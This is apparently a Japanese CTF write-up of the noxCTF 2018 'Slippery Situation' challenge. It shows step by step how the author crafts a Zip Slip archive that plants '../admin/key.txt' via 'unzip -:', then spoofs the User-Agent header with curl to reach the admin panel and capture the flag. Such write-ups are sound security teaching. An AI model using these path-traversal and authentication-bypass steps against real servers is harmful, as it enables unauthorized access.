こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

noxCTF 2018 - Slippery Situation

問題文

Something slippery is happening here, this virus scan website smells fishy, thats why its slippy, I need to get to the control panel and see whats going on.
http://chal.noxale.com:1336

f:id:graneed:20180908151019p:plain

writeup

zipファイルをアップロードすると、unzipコマンドで展開してウィルススキャンをしてくれるサイトのようだ。展開先は/files/になるとのこと。

調査

HTMLソースを確認する。

<!DOCTYPE html>
<html lang="en">
<head>
  <title>ZIP ANALYZER</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
    <br/><br/><br/><br/><br/>
    <center>
        <h1>Welcome to the zip analysis demo!</h1>
        <h4>our amazing software will take your zip, unpack it and scan it for viruses</h4>
        <h4>we also track everything you do on this website in our admin control panel that is unbreachable, unhackable</h4>
        <h4>thanks to our amazing cyber-security team</h4>
        <h4>How does it work?</h4>
        <h5>You upload a zip file, our servers extract the file using bash command "unzip -: file.zip"</h5>
        <h5>the server scans the files inside and returns results!</h5>
        <h6>We dont believe in containers, all zip files are uploaded to /files/ directory and get extracted there for maximum security!</h6>
        <br/><br/><br/>
            <form method="post" enctype="multipart/form-data" action="/upload">
                <input class="form-control" type="file" name="file" accept="application/zip,application/x-zip,application/x-zip-compressed">
                <br/>
                <input type="submit" class="btn btn-primary" value="Upload .zip file">
            </form>
    </center>
<!-- Note to self : admin page link : /admin-->
</body>
</html>

<!-- Note to self : admin page link : /admin-->のコメントを発見。
http://chal.noxale.com:1336/adminを表示すると、EmailとPasswordを入力してログインする画面が表示される。

f:id:graneed:20180908151622p:plain

こちらもHTMLソースを確認する。

<!DOCTYPE html>
<html lang="en">
<head>
    <title>login!</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
    <br/><br/><br/><br/><br/>
    <center>
        <h1>4dm1n C0ntr0l P4n3l</h1>
        <br/><br/><br/>
        <form method="post" enctype="multipart/form-data" action="/upload">
            <div class="input-group">
                <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
                <input id="email" type="text" class="form-control" name="email" placeholder="Email">
            </div>
            <div class="input-group">
                <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
                <input id="password" type="password" class="form-control" name="password" placeholder="Password">
            </div>
            <br/>
            <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#myModal">Login</buttoin>
        </form>
    </center>


    <!-- Modal -->
  <div class="modal fade" id="myModal" role="dialog">
    <div class="modal-dialog">
    
      <!-- Modal content-->
      <div class="modal-content">
        <div class="alert alert-danger">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">Error</h4>
        </div>
        <div class="modal-body">
          <p>Signing in is currently disabled by the site owner, if you think this is an error please contact support at support@example.com</p>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        </div>
      </div>
      
    </div>
  </div>
  
</div>

    <!-- Note to self so i wont forget : if a file named key.txt containing the short ssid is found in the ./admin directory then you dont need to login with user and pass to save time -->
</body>
</html>

<!-- Note to self so i wont forget : if a file named key.txt containing the short ssid is found in the ./admin directory then you dont need to login with user and pass to save time -->のコメントを発見。

emalとpasswordがわからなくても、./admin/key.txtshort ssidを記載して配備すればログインできるようだ。 shord ssidは、Cookieにセットされていた。

root@kali:~/Contest/noxCTF2018/SlipperySituation# curl http://chal.noxale.com:1336/ -v
*   Trying 18.223.150.0...
* TCP_NODELAY set
* Connected to chal.noxale.com (18.223.150.0) port 1336 (#0)
> GET / HTTP/1.1
> Host: chal.noxale.com:1336
> User-Agent: curl/7.61.0
> Accept: */*
> 
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: BaseHTTP/0.6 Python/3.6.6
< Date: Sat, 08 Sep 2018 06:19:34 GMT
< Content-type: text/html
< Set-Cookie: shortssid=X1MGERlc1SQa7m5EtWtaUd3JCw1GIocT ★
< 
<!DOCTYPE html>
<html lang="en">
<head>
  <title>ZIP ANALYZER</title>
(snip)

Stage1

./admin/key.txtを配備する方法を考える。

  • 問題タイトルがSlippery Situation
  • zipファイルをアップロードする機能がある。

上記より、Zip Slipの脆弱性を使用するのだろうと想像する。

アーカイブファイルの展開処理における脆弱性「Zip Slip」について

ただ、unzipコマンドはZip Slipの影響対象ライブラリに含まれていない。 実際にサンプルで試すと、unzipコマンドは既に対処済みのようであり../は無効化されているため、カレントディレクトリ配下に展開される。

root@kali:~/Contest/noxCTF2018# unzip zip-slip.zip 
Archive:  zip-slip.zip
 extracting: good.txt                
warning:  skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt
 extracting: tmp/evil.txt  

root@kali:~/Contest/noxCTF2018# ll ./tmp/evil.txt 
-rwxrwxrwx 1 root root 20 Apr 15 22:04 ./tmp/evil.txt

しかし、問題サイトのトップページでは、 "unzip -: file.zip"というように、-:オプションを付けていると明記されている。-:のオプションの意味を調べる。

root@kali:~/Contest/noxCTF2018/SlipperySituation# unzip -hh
(snip)
  -:   [All but Acorn, VM/CMS, MVS, Tandem] Allow extract archive members into
         locations outside of current extraction root folder.  This allows
         paths such as ../foo to be extracted above the current extraction
         directory, which can be a security problem.
(snip)

サンキュー!-:オプション!

念のためサンプルで試すと、展開できた。

root@kali:~/Contest/noxCTF2018# unzip -: zip-slip.zip 
Archive:  zip-slip.zip
 extracting: good.txt                
 extracting: ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt  

root@kali:~/Contest/noxCTF2018# ll /tmp/evil.txt 
-rw-r--r-- 1 root root 20 Apr 15 22:04 /tmp/evil.txt

Zip Slipの脆弱性を突くzipファイルの作り方を調べると、以下のページを発見。かんたん。

How to create a file to test Zip Slip Vulnerability from commandline - Stack Overflow

short ssid../admin/key.txtに書き込んで、相対パスのままzipファイルを作成。

root@kali:~/Contest/noxCTF2018/SlipperySituation/file# cat ../admin/key.txt 
X1MGERlc1SQa7m5EtWtaUd3JCw1GIocT

root@kali:~/Contest/noxCTF2018/SlipperySituation/file# zip file.zip ../admin/key.txt 
  adding: ../admin/key.txt (stored 0%)

file.zipをアップロードしてから、short ssidを指定してadminページにリクエストすると、Base64エンコードされたメッセージが返却されたためデコードする。

root@kali:~/Contest/noxCTF2018/SlipperySituation# curl http://chal.noxale.com:1336/admin -H "Cookie:shortssid=X1MGERlc1SQa7m5EtWtaUd3JCw1GIocT"
VGhpcyBwYWdlIGlzIG9ubHkgYXZhaWxhYmxlIGZvciBBZG1pblBhbmVsIGJyb3dzZXIgdXNlcnMuDQoNCkFkbWluUGFuZWwvMC4xIGFnZW50IHVzZXJzIG9ubHkh

root@kali:~/Contest/noxCTF2018/SlipperySituation# echo -n VGhpcyBwYWdlIGlzIG9ubHkgYXZhaWxhYmxlIGZvciBBZG1pblBhbmVsIGJyb3dzZXIgdXNlcnMuDQoNCkFkbWluUGFuZWwvMC4xIGFnZW50IHVzZXJzIG9ubHkh | base64 -d
This page is only available for AdminPanel browser users.

AdminPanel/0.1 agent users only!

ログインはできたようだ。ただ、AdminPanelというブラウザでアクセスする必要があるようだ。

Stage2

User-AgentをAdminPane/0.1に偽装して、再度リクエストする。

root@kali:~/Contest/noxCTF2018/SlipperySituation# curl http://chal.noxale.com:1336/admin -H "Cookie:shortssid=X1MGERlc1SQa7m5EtWtaUd3JCw1GIocT" -H "User-Agent:AdminPanel/0.1"
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Admin Control Panel</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
    <br/><br/><br/><br/><br/>
    <center>
            <div class="alert alert-success">
                    <strong>That was easy!</strong><br/>
                    <strong>Flag: </strong> noxCTF{Z1p_Fil3s_Ar3_Fun_H4ha}
            </div>
    </center>
</body>
</html>

フラグゲット。
noxCTF{Z1p_Fil3s_Ar3_Fun_H4ha}